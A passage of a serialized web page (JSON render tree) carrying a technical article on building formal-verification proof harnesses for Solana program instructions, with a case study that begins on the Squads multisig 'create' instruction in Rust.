599,"children":23601},{"className":23600},[6368,6369],[23602],{"type":24,"tag":90,"props":23603,"children":23605},{"className":23604},[6374],[23606],{"type":24,"tag":90,"props":23607,"children":23609},{"className":23608,"ariaHidden":6380},[6379],[23610,23641],{"type":24,"tag":90,"props":23611,"children":23613},{"className":23612},[6385],[23614,23618,23623,23628,23632,23637],{"type":24,"tag":90,"props":23615,"children":23617},{"className":23616,"style":23379},[6390],[],{"type":24,"tag":90,"props":23619,"children":23621},{"className":23620,"style":23385},[6396,23384],[23622],{"type":29,"value":23388},{"type":24,"tag":90,"props":23624,"children":23626},{"className":23625},[6396],[23627],{"type":29,"value":534},{"type":24,"tag":90,"props":23629,"children":23631},{"className":23630,"style":6573},[6475],[],{"type":24,"tag":90,"props":23633,"children":23635},{"className":23634},[6578],[23636],{"type":29,"value":23403},{"type":24,"tag":90,"props":23638,"children":23640},{"className":23639,"style":6573},[6475],[],{"type":24,"tag":90,"props":23642,"children":23644},{"className":23643},[6385],[23645,23649,23772,23776],{"type":24,"tag":90,"props":23646,"children":23648},{"className":23647,"style":23415},[6390],[],{"type":24,"tag":90,"props":23650,"children":23652},{"className":23651},[23420],[23653,23658],{"type":24,"tag":90,"props":23654,"children":23656},{"className":23655,"style":23427},[23420,23425,23426],[23657],{"type":29,"value":23430},{"type":24,"tag":90,"props":23659,"children":23661},{"className":23660},[6412],[23662],{"type":24,"tag":90,"props":23663,"children":23665},{"className":23664},[6417,23438],[23666,23761],{"type":24,"tag":90,"props":23667,"children":23669},{"className":23668},[6422],[23670,23756],{"type":24,"tag":90,"props":23671,"children":23673},{"className":23672,"style":23447},[6427],[23674],{"type":24,"tag":90,"props":23675,"children":23676},{"style":23451},[23677,23681],{"type":24,"tag":90,"props":23678,"children":23680},{"className":23679,"style":6437},[6436],[],{"type":24,"tag":90,"props":23682,"children":23684},{"className":23683},[6442,6443,6444,6445],[23685],{"type":24,"tag":90,"props":23686,"children":23688},{"className":23687},[6396,6445],[23689,23694,23699,23708,23713,23722,23731,23736,23741,23746,23751],{"type":24,"tag":90,"props":23690,"children":23692},{"className":23691},[6396,23384,6445],[23693],{"type":29,"value":69},{"type":24,"tag":90,"props":23695,"children":23697},{"className":23696},[6396,23384,6445],[23698],{"type":29,"value":23475},{"type":24,"tag":90,"props":23700,"children":23702},{"className":23701},[6475,6445],[23703],{"type":24,"tag":90,"props":23704,"children":23706},{"className":23705},[6445],[23707],{"type":29,"value":23485},{"type":24,"tag":90,"props":23709,"children":23711},{"className":23710},[6578,6445],[23712],{"type":29,"value":23491},{"type":24,"tag":90,"props":23714,"children":23716},{"className":23715},[6475,6445],[23717],{"type":24,"tag":90,"props":23718,"children":23720},{"className":23719},[6445],[23721],{"type":29,"value":23485},{"type":24,"tag":90,"props":23723,"children":23725},{"className":23724},[6396,29,6445],[23726],{"type":24,"tag":90,"props":23727,"children":23729},{"className":23728},[6396,6445],[23730],{"type":29,"value":23325},{"type":24,"tag":90,"props":23732,"children":23734},{"className":23733},[23513,6445],[23735],{"type":29,"value":117},{"type":24,"tag":90,"props":23737,"children":23739},{"className":23738},[6396,23384,6445],[23740],{"type":29,"value":3030},{"type":24,"tag":90,"props":23742,"children":23744},{"className":23743},[6396,23384,6445],[23745],{"type":29,"value":23526},{"type":24,"tag":90,"props":23747,"children":23749},{"className":23748},[6396,23384,6445],[23750],{"type":29,"value":21070},{"type":24,"tag":90,"props":23752,"children":23754},{"className":23753},[23535,6445],[23755],{"type":29,"value":517},{"type":24,"tag":90,"props":23757,"children":23759},{"className":23758},[23541],[23760],{"type":29,"value":23544},{"type":24,"tag":90,"props":23762,"children":23764},{"className":23763},[6422],[23765],{"type":24,"tag":90,"props":23766,"children":23768},{"className":23767,"style":23552},[6427],[23769],{"type":24,"tag":90,"props":23770,"children":23771},{},[],{"type":24,"tag":90,"props":23773,"children":23775},{"className":23774,"style":6514},[6475],[],{"type":24,"tag":90,"props":23777,"children":23779},{"className":23778},[6396],[23780,23789,23794,23799,23804],{"type":24,"tag":90,"props":23781,"children":23783},{"className":23782},[6396,29],[23784],{"type":24,"tag":90,"props":23785,"children":23787},{"className":23786},[6396],[23788],{"type":29,"value":23574},{"type":24,"tag":90,"props":23790,"children":23792},{"className":23791},[23513],[23793],{"type":29,"value":117},{"type":24,"tag":90,"props":23795,"children":23797},{"className":23796},[6396,23384],[23798],{"type":29,"value":69},{"type":24,"tag":90,"props":23800,"children":23802},{"className":23801},[6396,23384],[23803],{"type":29,"value":23475},{"type":24,"tag":90,"props":23805,"children":23807},{"className":23806},[23535],[23808],{"type":29,"value":517},{"type":24,"tag":25,"props":23810,"children":23811},{},[23812],{"type":29,"value":23813},"Our instruction invariants are represented as:",{"type":24,"tag":3207,"props":23815,"children":23816},{},[23817,23853],{"type":24,"tag":3104,"props":23818,"children":23819},{},[23820,23847,23848],{"type":24,"tag":32,"props":23821,"children":23823},{"className":23822},[6368,6369],[23824],{"type":24,"tag":90,"props":23825,"children":23827},{"className":23826},[6374],[23828],{"type":24,"tag":90,"props":23829,"children":23831},{"className":23830,"ariaHidden":6380},[6379],[23832],{"type":24,"tag":90,"props":23833,"children":23835},{"className":23834},[6385],[23836,23840],{"type":24,"tag":90,"props":23837,"children":23839},{"className":23838,"style":23379},[6390],[],{"type":24,"tag":90,"props":23841,"children":23844},{"className":23842,"style":23843},[6396,23384],"margin-right:0.05764em;",[23845],{"type":29,"value":23846},"S",{"type":29,"value":1833},{"type":24,"tag":32,"props":23849,"children":23851},{"className":23850},[],[23852],{"type":29,"value":21950},{"type":24,"tag":3104,"props":23854,"children":23855},{},[23856,23882,23883],{"type":24,"tag":32,"props":23857,"children":23859},{"className":23858},[6368,6369],[23860],{"type":24,"tag":90,"props":23861,"children":23863},{"className":23862},[6374],[23864],{"type":24,"tag":90,"props":23865,"children":23867},{"className":23866,"ariaHidden":6380},[6379],[23868],{"type":24,"tag":90,"props":23869,"children":23871},{"className":23870},[6385],[23872,23876],{"type":24,"tag":90,"props":23873,"children":23875},{"className":23874,"style":23379},[6390],[],{"type":24,"tag":90,"props":23877,"children":23879},{"className":23878,"style":23843},[6396,23384],[23880],{"type":29,"value":23881},"E",{"type":29,"value":1833},{"type":24,"tag":32,"props":23884,"children":23886},{"className":23885},[],[23887],{"type":29,"value":21957},{"type":24,"tag":25,"props":23889,"children":23890},{},[23891,23893,23920,23922,23927,23929,23935],{"type":29,"value":23892},"And ",{"type":24,"tag":32,"props":23894,"children":23896},{"className":23895},[6368,6369],[23897],{"type":24,"tag":90,"props":23898,"children":23900},{"className":23899},[6374],[23901],{"type":24,"tag":90,"props":23902,"children":23904},{"className":23903,"ariaHidden":6380},[6379],[23905],{"type":24,"tag":90,"props":23906,"children":23908},{"className":23907},[6385],[23909,23913],{"type":24,"tag":90,"props":23910,"children":23912},{"className":23911,"style":23379},[6390],[],{"type":24,"tag":90,"props":23914,"children":23917},{"className":23915,"style":23916},[6396,23384],"margin-right:0.07153em;",[23918],{"type":29,"value":23919},"K",{"type":29,"value":23921}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":24,"tag":32,"props":23923,"children":23925},{"className":23924},[],[23926],{"type":29,"value":22285},{"type":29,"value":23928}," not an ",{"type":24,"tag":32,"props":23930,"children":23932},{"className":23931},[],[23933],{"type":29,"value":23934},"Err",{"type":29,"value":22538},{"type":24,"tag":25,"props":23937,"children":23938},{},[23939],{"type":29,"value":23940},"In order to verify these conditions we need to verify three cases:",{"type":24,"tag":1019,"props":23942,"children":23944},{"id":23943},"account-invariants-1",[23945],{"type":29,"value":23946},"Account invariants",{"type":24,"tag":25,"props":23948,"children":23949},{},[23950,23952,23983,23985,24015,24017,24047],{"type":29,"value":23951},"After we execute an instruction, either the function should error and be reverted (",{"type":24,"tag":32,"props":23953,"children":23955},{"className":23954},[6368,6369],[23956],{"type":24,"tag":90,"props":23957,"children":23959},{"className":23958},[6374],[23960],{"type":24,"tag":90,"props":23961,"children":23963},{"className":23962,"ariaHidden":6380},[6379],[23964],{"type":24,"tag":90,"props":23965,"children":23967},{"className":23966},[6385],[23968,23972,23978],{"type":24,"tag":90,"props":23969,"children":23971},{"className":23970,"style":23379},[6390],[],{"type":24,"tag":90,"props":23973,"children":23975},{"className":23974},[6396],[23976],{"type":29,"value":23977},"¬",{"type":24,"tag":90,"props":23979,"children":23981},{"className":23980,"style":23916},[6396,23384],[23982],{"type":29,"value":23919},{"type":29,"value":23984},") or the account post-invariants should hold (",{"type":24,"tag":32,"props":23986,"children":23988},{"className":23987},[6368,6369],[23989],{"type":24,"tag":90,"props":23990,"children":23992},{"className":23991},[6374],[23993],{"type":24,"tag":90,"props":23994,"children":23996},{"className":23995,"ariaHidden":6380},[6379],[23997],{"type":24,"tag":90,"props":23998,"children":24000},{"className":23999},[6385],[24001,24005,24010],{"type":24,"tag":90,"props":24002,"children":24004},{"className":24003,"style":23379},[6390],[],{"type":24,"tag":90,"props":24006,"children":24008},{"className":24007,"style":23385},[6396,23384],[24009],{"type":29,"value":23388},{"type":24,"tag":90,"props":24011,"children":24013},{"className":24012},[6396],[24014],{"type":29,"value":534},{"type":29,"value":24016},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":24,"tag":32,"props":24018,"children":24020},{"className":24019},[6368,6369],[24021],{"type":24,"tag":90,"props":24022,"children":24024},{"className":24023},[6374],[24025],{"type":24,"tag":90,"props":24026,"children":24028},{"className":24027,"ariaHidden":6380},[6379],[24029],{"type":24,"tag":90,"props":24030,"children":24032},{"className":24031},[6385],[24033,24037,24042],{"type":24,"tag":90,"props":24034,"children":24036},{"className":24035,"style":23379},[6390],[],{"type":24,"tag":90,"props":24038,"children":24040},{"className":24039,"style":23385},[6396,23384],[24041],{"type":29,"value":23388},{"type":24,"tag":90,"props":24043,"children":24045},{"className":24044},[6396],[24046],{"type":29,"value":6408},{"type":29,"value":24048},") should hold since we will verify all of the functions eventually.",{"type":24,"tag":25,"props":24050,"children":24051},{},[24052,24054],{"type":29,"value":24053},"So we are trying to prove that ",{"type":24,"tag":32,"props":24055,"children":24057},{"className":24056},[6368,6369],[24058],{"type":24,"tag":90,"props":24059,"children":24061},{"className":24060},[6374],[24062],{"type":24,"tag":90,"props":24063,"children":24065},{"className":24064,"ariaHidden":6380},[6379],[24066,24103,24135],{"type":24,"tag":90,"props":24067,"children":24069},{"className":24068},[6385],[24070,24074,24079,24084,24089,24093,24099],{"type":24,"tag":90,"props":24071,"children":24073},{"className":24072,"style":6496},[6390],[],{"type":24,"tag":90,"props":24075,"children":24077},{"className":24076},[23513],[24078],{"type":29,"value":117},{"type":24,"tag":90,"props":24080,"children":24082},{"className":24081,"style":23385},[6396,23384],[24083],{"type":29,"value":23388},{"type":24,"tag":90,"props":24085,"children":24087},{"className":24086},[6396],[24088],{"type":29,"value":6408},{"type":24,"tag":90,"props":24090,"children":24092},{"className":24091,"style":6476},[6475],[],{"type":24,"tag":90,"props":24094,"children":24096},{"className":24095},[6481],[24097],{"type":29,"value":24098},"∧",{"type":24,"tag":90,"props":24100,"children":24102},{"className":24101,"style":6476},[6475],[],{"type":24,"tag":90,"props":24104,"children":24106},{"className":24105},[6385],[24107,24111,24116,24121,24125,24131],{"type":24,"tag":90,"props":24108,"children":24110},{"className":24109,"style":6496},[6390],[],{"type":24,"tag":90,"props":24112,"children":24114},{"className":24113,"style":23916},[6396,23384],[24115],{"type":29,"value":23919},{"type":24,"tag":90,"props":24117,"children":24119},{"className":24118},[23535],[24120],{"type":29,"value":517},{"type":24,"tag":90,"props":24122,"children":24124},{"className":24123,"style":6573},[6475],[],{"type":24,"tag":90,"props":24126,"children":24128},{"className":24127},[6578],[24129],{"type":29,"value":24130},"→",{"type":24,"tag":90,"props":24132,"children":24134},{"className":24133,"style":6573},[6475],[],{"type":24,"tag":90,"props":24136,"children":24138},{"className":24137},[6385],[24139,24143,24148],{"type":24,"tag":90,"props":24140,"children":24142},{"className":24141,"style":23379},[6390],[],{"type":24,"tag":90,"props":24144,"children":24146},{"className":24145,"style":23385},[6396,23384],[24147],{"type":29,"value":23388},{"type":24,"tag":90,"props":24149,"children":24151},{"className":24150},[6396],[24152],{"type":29,"value":534},{"type":24,"tag":25,"props":24154,"children":24155},{},[24156],{"type":29,"value":24157},"We can construct a proof harness like the following:",{"type":24,"tag":80,"props":24159,"children":24161},{"code":24160,"language":21255,"meta":7,"className":21256,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[24162],{"type":24,"tag":32,"props":24163,"children":24164},{"__ignoreMap":7},[24165,24173,24190],{"type":24,"tag":90,"props":24166,"children":24167},{"class":92,"line":93},[24168],{"type":24,"tag":90,"props":24169,"children":24170},{"style":114},[24171],{"type":29,"value":24172},"assume(P0)\n",{"type":24,"tag":90,"props":24174,"children":24175},{"class":92,"line":200},[24176,24181,24185],{"type":24,"tag":90,"props":24177,"children":24178},{"style":114},[24179],{"type":29,"value":24180},"res ",{"type":24,"tag":90,"props":24182,"children":24183},{"style":120},[24184],{"type":29,"value":5491},{"type":24,"tag":90,"props":24186,"children":24187},{"style":114},[24188],{"type":29,"value":24189}," instruction_handler(...)\n",{"type":24,"tag":90,"props":24191,"children":24192},{"class":92,"line":239},[24193,24197,24201,24206,24211,24216],{"type":24,"tag":90,"props":24194,"children":24195},{"style":636},[24196],{"type":29,"value":21779},{"type":24,"tag":90,"props":24198,"children":24199},{"style":114},[24200],{"type":29,"value":117},{"type":24,"tag":90,"props":24202,"children":24204},{"style":24203},"--shiki-default:#F44747",[24205],{"type":29,"value":22417},{"type":24,"tag":90,"props":24207,"children":24208},{"style":114},[24209],{"type":29,"value":24210},"K ",{"type":24,"tag":90,"props":24212,"children":24213},{"style":24203},[24214],{"type":29,"value":24215},"||",{"type":24,"tag":90,"props":24217,"children":24218},{"style":114},[24219],{"type":29,"value":24220}," P1)\n",{"type":24,"tag":25,"props":24222,"children":24223},{},[24224],{"type":29,"value":24225},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":24,"tag":1019,"props":24227,"children":24229},{"id":24228},"positive-instruction-invariant",[24230],{"type":29,"value":24231},"Positive instruction invariant",{"type":24,"tag":25,"props":24233,"children":24234},{},[24235,24237,24243,24245,24296],{"type":29,"value":24236},"Next we need to prove that ",{"type":24,"tag":32,"props":24238,"children":24240},{"className":24239},[],[24241],{"type":29,"value":24242},"success_if",{"type":29,"value":24244}," is a sufficient condition for instruction success. I.e. ",{"type":24,"tag":32,"props":24246,"children":24248},{"className":24247},[6368,6369],[24249],{"type":24,"tag":90,"props":24250,"children":24252},{"className":24251},[6374],[24253],{"type":24,"tag":90,"props":24254,"children":24256},{"className":24255,"ariaHidden":6380},[6379],[24257,24283],{"type":24,"tag":90,"props":24258,"children":24260},{"className":24259},[6385],[24261,24265,24270,24274,24279],{"type":24,"tag":90,"props":24262,"children":24264},{"className":24263,"style":23379},[6390],[],{"type":24,"tag":90,"props":24266,"children":24268},{"className":24267,"style":23843},[6396,23384],[24269],{"type":29,"value":23846},{"type":24,"tag":90,"props":24271,"children":24273},{"className":24272,"style":6573},[6475],[],{"type":24,"tag":90,"props":24275,"children":24277},{"className":24276},[6578],[24278],{"type":29,"value":24130},{"type":24,"tag":90,"props":24280,"children":24282},{"className":24281,"style":6573},[6475],[],{"type":24,"tag":90,"props":24284,"children":24286},{"className":24285},[6385],[24287,24291],{"type":24,"tag":90,"props":24288,"children":24290},{"className":24289,"style":23379},[6390],[],{"type":24,"tag":90,"props":24292,"children":24294},{"className":24293,"style":23916},[6396,23384],[24295],{"type":29,"value":23919},{"type":29,"value":226},{"type":24,"tag":25,"props":24298,"children":24299},{},[24300],{"type":29,"value":24301},"Just like before we can construct a proof harness:",{"type":24,"tag":80,"props":24303,"children":24305},{"code":24304,"language":21255,"meta":7,"className":21256,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[24306],{"type":24,"tag":32,"props":24307,"children":24308},{"__ignoreMap":7},[24309,24317,24332],{"type":24,"tag":90,"props":24310,"children":24311},{"class":92,"line":93},[24312],{"type":24,"tag":90,"props":24313,"children":24314},{"style":114},[24315],{"type":29,"value":24316},"assume(S)\n",{"type":24,"tag":90,"props":24318,"children":24319},{"class":92,"line":200},[24320,24324,24328],{"type":24,"tag":90,"props":24321,"children":24322},{"style":114},[24323],{"type":29,"value":24180},{"type":24,"tag":90,"props":24325,"children":24326},{"style":120},[24327],{"type":29,"value":5491},{"type":24,"tag":90,"props":24329,"children":24330},{"style":114},[24331],{"type":29,"value":24189},{"type":24,"tag":90,"props":24333,"children":24334},{"class":92,"line":239},[24335,24339],{"type":24,"tag":90,"props":24336,"children":24337},{"style":636},[24338],{"type":29,"value":21779},{"type":24,"tag":90,"props":24340,"children":24341},{"style":114},[24342],{"type":29,"value":24343},"(K)\n",{"type":24,"tag":25,"props":24345,"children":24346},{},[24347,24349,24354,24356,24368],{"type":29,"value":24348},"This proof assures that whenever ",{"type":24,"tag":32,"props":24350,"children":24352},{"className":24351},[],[24353],{"type":29,"value":21950},{"type":29,"value":24355}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":24,"tag":842,"props":24357,"children":24358},{},[24359,24361,24366],{"type":29,"value":24360},"even if ",{"type":24,"tag":32,"props":24362,"children":24364},{"className":24363},[],[24365],{"type":29,"value":21950},{"type":29,"value":24367}," is not satisfied",{"type":29,"value":24369},". To specify explicit error conditions we need our third and final proof.",{"type":24,"tag":1019,"props":24371,"children":24373},{"id":24372},"_3-negative-instruction-invariant",[24374],{"type":29,"value":24375},"3. Negative instruction invariant",{"type":24,"tag":25,"props":24377,"children":24378},{},[24379,24381,24386,24388,24444],{"type":29,"value":24380},"Finally, we want to prove that ",{"type":24,"tag":32,"props":24382,"children":24384},{"className":24383},[],[24385],{"type":29,"value":21957},{"type":29,"value":24387}," is a sufficient condition for instruction failure. I.e. ",{"type":24,"tag":32,"props":24389,"children":24391},{"className":24390},[6368,6369],[24392],{"type":24,"tag":90,"props":24393,"children":24395},{"className":24394},[6374],[24396],{"type":24,"tag":90,"props":24397,"children":24399},{"className":24398,"ariaHidden":6380},[6379],[24400,24426],{"type":24,"tag":90,"props":24401,"children":24403},{"className":24402},[6385],[24404,24408,24413,24417,24422],{"type":24,"tag":90,"props":24405,"children":24407},{"className":24406,"style":23379},[6390],[],{"type":24,"tag":90,"props":24409,"children":24411},{"className":24410,"style":23843},[6396,23384],[24412],{"type":29,"value":23881},{"type":24,"tag":90,"props":24414,"children":24416},{"className":24415,"style":6573},[6475],[],{"type":24,"tag":90,"props":24418,"children":24420},{"className":24419},[6578],[24421],{"type":29,"value":24130},{"type":24,"tag":90,"props":24423,"children":24425},{"className":24424,"style":6573},[6475],[],{"type":24,"tag":90,"props":24427,"children":24429},{"className":24428},[6385],[24430,24434,24439],{"type":24,"tag":90,"props":24431,"children":24433},{"className":24432,"style":23379},[6390],[],{"type":24,"tag":90,"props":24435,"children":24437},{"className":24436},[6396],[24438],{"type":29,"value":23977},{"type":24,"tag":90,"props":24440,"children":24442},{"className":24441,"style":23916},[6396,23384],[24443],{"type":29,"value":23919},{"type":29,"value":226},{"type":24,"tag":25,"props":24446,"children":24447},{},[24448],{"type":29,"value":24449},"This harness looks just like the previous one:",{"type":24,"tag":80,"props":24451,"children":24453},{"code":24452,"language":21255,"meta":7,"className":21256,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[24454],{"type":24,"tag":32,"props":24455,"children":24456},{"__ignoreMap":7},[24457,24465,24480],{"type":24,"tag":90,"props":24458,"children":24459},{"class":92,"line":93},[24460],{"type":24,"tag":90,"props":24461,"children":24462},{"style":114},[24463],{"type":29,"value":24464},"assume(E)\n",{"type":24,"tag":90,"props":24466,"children":24467},{"class":92,"line":200},[24468,24472,24476],{"type":24,"tag":90,"props":24469,"children":24470},{"style":114},[24471],{"type":29,"value":24180},{"type":24,"tag":90,"props":24473,"children":24474},{"style":120},[24475],{"type":29,"value":5491},{"type":24,"tag":90,"props":24477,"children":24478},{"style":114},[24479],{"type":29,"value":24189},{"type":24,"tag":90,"props":24481,"children":24482},{"class":92,"line":239},[24483,24487,24491,24495],{"type":24,"tag":90,"props":24484,"children":24485},{"style":636},[24486],{"type":29,"value":21779},{"type":24,"tag":90,"props":24488,"children":24489},{"style":114},[24490],{"type":29,"value":117},{"type":24,"tag":90,"props":24492,"children":24493},{"style":24203},[24494],{"type":29,"value":22417},{"type":24,"tag":90,"props":24496,"children":24497},{"style":114},[24498],{"type":29,"value":24499},"K)\n",{"type":24,"tag":25,"props":24501,"children":24502},{},[24503,24505,24509],{"type":29,"value":24504},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":24,"tag":842,"props":24506,"children":24507},{},[24508],{"type":29,"value":2884},{"type":29,"value":24510}," the account invariants we expect are always being preserved.",{"type":24,"tag":850,"props":24512,"children":24514},{"id":24513},"case-study-squads-multisig",[24515],{"type":29,"value":24516},"Case study: Squads Multisig",{"type":24,"tag":25,"props":24518,"children":24519},{},[24520,24522,24527],{"type":29,"value":24521},"During our research, we focused on formally verifying aspects of the ",{"type":24,"tag":69,"props":24523,"children":24525},{"href":20617,"rel":24524},[73],[24526],{"type":29,"value":20621},{"type":29,"value":226},{"type":24,"tag":25,"props":24529,"children":24530},{},[24531,24533,24539,24541,24547],{"type":29,"value":24532},"The program defines a Multisig account (",{"type":24,"tag":32,"props":24534,"children":24536},{"className":24535},[],[24537],{"type":29,"value":24538},"Ms",{"type":29,"value":24540},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":24,"tag":32,"props":24542,"children":24544},{"className":24543},[],[24545],{"type":29,"value":24546},"threshold",{"type":29,"value":24548}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":24,"tag":25,"props":24550,"children":24551},{},[24552],{"type":29,"value":24553},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":24,"tag":25,"props":24555,"children":24556},{},[24557],{"type":29,"value":24558},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":24,"tag":3100,"props":24560,"children":24561},{},[24562,24567,24572,24577],{"type":24,"tag":3104,"props":24563,"children":24564},{},[24565],{"type":29,"value":24566},"Incrementally verifying minimum requirements to create a multisig",{"type":24,"tag":3104,"props":24568,"children":24569},{},[24570],{"type":29,"value":24571},"Verify threshold requirements",{"type":24,"tag":3104,"props":24573,"children":24574},{},[24575],{"type":29,"value":24576},"Verify requirements to remove a member",{"type":24,"tag":3104,"props":24578,"children":24579},{},[24580],{"type":29,"value":24581},"Safety guarantees",{"type":24,"tag":1019,"props":24583,"children":24585},{"id":24584},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[24586],{"type":29,"value":24587},"1. Incrementally verifying minimum requirements to create a multisig",{"type":24,"tag":25,"props":24589,"children":24590},{},[24591,24593,24598],{"type":29,"value":24592},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":24,"tag":32,"props":24594,"children":24596},{"className":24595},[],[24597],{"type":29,"value":21950},{"type":29,"value":24599}," expression.",{"type":24,"tag":25,"props":24601,"children":24602},{},[24603,24605,24610,24612,24618],{"type":29,"value":24604},"Creating a multisig (",{"type":24,"tag":32,"props":24606,"children":24608},{"className":24607},[],[24609],{"type":29,"value":24538},{"type":29,"value":24611},") requires invoking the ",{"type":24,"tag":32,"props":24613,"children":24615},{"className":24614},[],[24616],{"type":29,"value":24617},"create",{"type":29,"value":24619}," instruction:",{"type":24,"tag":80,"props":24621,"children":24623},{"code":24622,"language":84,"meta":7,"className":82,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n #[account(\n init,\n payer = creator,\n space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n )]\n pub multisig: Account\u003C'info, Ms>,\n\n #[account(mut)]\n pub creator: Signer\u003C'info>,\n pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n ctx: Context\u003CCreate>,\n threshold: u16,\n create_key: Pubkey,\n members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n // sort the members and remove duplicates\n let mut members = members;\n members.sort();\n members.dedup();\n\n // check we don't exceed u16\n let total_members = members.len();\n if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n }\n\n // make sure we don't exceed u16 on first call\n if total_members > usize::from(u16::MAX) {\n return err!(MsError::MaxMembersReached);\n }\n\n // make sure threshold is valid\n if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n return err!(MsError::InvalidThreshold);\n }\n\n ctx.accounts.multisig.init(\n threshold,\n create_key,\n members,\n *ctx.bumps.get(\"multisig\").unwrap(),\n )\n}\n",[24624],{"type":24,"tag":32,"props":24625,"children":24626},{"__ignoreMap":7},[24627,24644,24699,24729,24737,24745,24762,24813,24863,24871,24912,24919,24935,24968,25010,25017,25024,25043,25071,25091,25111,25139,25158,25166,25194,25214,25234,25241,25249,25281,25304,25339,25347,25355,25364,25406,25439,25447,25455,25464,25540,25573,25581,25589,25626,25639,25652,25665,25719,25728],{"type":24,"tag":90,"props":24628,"children":24629},{"class":92,"line":93},[24630,24635,24640],{"type":24,"tag":90,"props":24631,"children":24632},{"style":114},[24633],{"type":29,"value":24634},"#[derive(",{"type":24,"tag":90,"props":24636,"children":24637},{"style":146},[24638],{"type":29,"value":24639},"Accounts",{"type":24,"tag":90,"props":24641,"children":24642},{"style":114},[24643],{"type":29,"value":22054},{"type":24,"tag":90,"props":24645,"children":24646},{"class":92,"line":200},[24647,24652,24656,24660,24665,24669,24673,24678,24682,24686,24690,24694],{"type":24,"tag":90,"props":24648,"children":24649},{"style":114},[24650],{"type":29,"value":24651},"#[instruction(threshold",{"type":24,"tag":90,"props":24653,"children":24654},{"style":120},[24655],{"type":29,"value":78},{"type":24,"tag":90,"props":24657,"children":24658},{"style":146},[24659],{"type":29,"value":22826},{"type":24,"tag":90,"props":24661,"children":24662},{"style":114},[24663],{"type":29,"value":24664},", create_key",{"type":24,"tag":90,"props":24666,"children":24667},{"style":120},[24668],{"type":29,"value":78},{"type":24,"tag":90,"props":24670,"children":24671},{"style":146},[24672],{"type":29,"value":22653},{"type":24,"tag":90,"props":24674,"children":24675},{"style":114},[24676],{"type":29,"value":24677},", members",{"type":24,"tag":90,"props":24679,"children":24680},{"style":120},[24681],{"type":29,"value":78},{"type":24,"tag":90,"props":24683,"children":24684},{"style":146},[24685],{"type":29,"value":23185},{"type":24,"tag":90,"props":24687,"children":24688},{"style":114},[24689],{"type":29,"value":1575},{"type":24,"tag":90,"props":24691,"children":24692},{"style":146},[24693],{"type":29,"value":23194},{"type":24,"tag":90,"props":24695,"children":24696},{"style":114},[24697],{"type":29,"value":24698},">)]\n",{"type":24,"tag":90,"props":24700,"children":24701},{"class":92,"line":239},[24702,24706,24710,24715,24720,24725],{"type":24,"tag":90,"props":24703,"children":24704},{"style":97},[24705],{"type":29,"value":100},{"type":24,"tag":90,"props":24707,"children":24708},{"style":97},[24709],{"type":29,"value":22947},{"type":24,"tag":90,"props":24711,"children":24712},{"style":146},[24713],{"type":29,"value":24714}," Create",{"type":24,"tag":90,"props":24716,"children":24717},{"style":114},[24718],{"type":29,"value":24719},"\u003C'",{"type":24,"tag":90,"props":24721,"children":24722},{"style":146},[24723],{"type":29,"value":24724},"info",{"type":24,"tag":90,"props":24726,"children":24727},{"style":114},[24728],{"type":29,"value":197},{"type":24,"tag":90,"props":24730,"children":24731},{"class":92,"line":248},[24732],{"type":24,"tag":90,"props":24733,"children":24734},{"style":114},[24735],{"type":29,"value":24736}," #[account(\n",{"type":24,"tag":90,"props":24738,"children":24739},{"class":92,"line":258},[24740],{"type":24,"tag":90,"props":24741,"children":24742},{"style":114},[24743],{"type":29,"value":24744}," init,\n",{"type":24,"tag":90,"props":24746,"children":24747},{"class":92,"line":272},[24748,24753,24757],{"type":24,"tag":90,"props":24749,"children":24750},{"style":114},[24751],{"type":29,"value":24752}," payer ",{"type":24,"tag":90,"props":24754,"children":24755},{"style":120},[24756],{"type":29,"value":5491},{"type":24,"tag":90,"props":24758,"children":24759},{"style":114},[24760],{"type":29,"value":24761}," creator,\n",{"type":24,"tag":90,"props":24763,"children":24764},{"class":92,"line":281},[24765,24770,24774,24778,24782,24787,24791,24796,24800,24804,24808],{"type":24,"tag":90,"props":24766,"children":24767},{"style":114},[24768],{"type":29,"value":24769}," space ",{"type":24,"tag":90,"props":24771,"children":24772},{"style":120},[24773],{"type":29,"value":5491},{"type":24,"tag":90,"props":24775,"children":24776},{"style":146},[24777],{"type":29,"value":22952},{"type":24,"tag":90,"props":24779,"children":24780},{"style":120},[24781],{"type":29,"value":1211},{"type":24,"tag":90,"props":24783,"children":24784},{"style":146},[24785],{"type":29,"value":24786},"SIZE_WITHOUT_MEMBERS",{"type":24,"tag":90,"props":24788,"children":24789},{"style":120},[24790],{"type":29,"value":1714},{"type":24,"tag":90,"props":24792,"children":24793},{"style":114},[24794],{"type":29,"value":24795}," (members",{"type":24,"tag":90,"props":24797,"children":24798},{"style":120},[24799],{"type":29,"value":226},{"type":24,"tag":90,"props":24801,"children":24802},{"style":114},[24803],{"type":29,"value":22817},{"type":24,"tag":90,"props":24805,"children":24806},{"style":120},[24807],{"type":29,"value":983},{"type":24,"tag":90,"props":24809,"children":24810},{"style":114},[24811],{"type":29,"value":24812}," 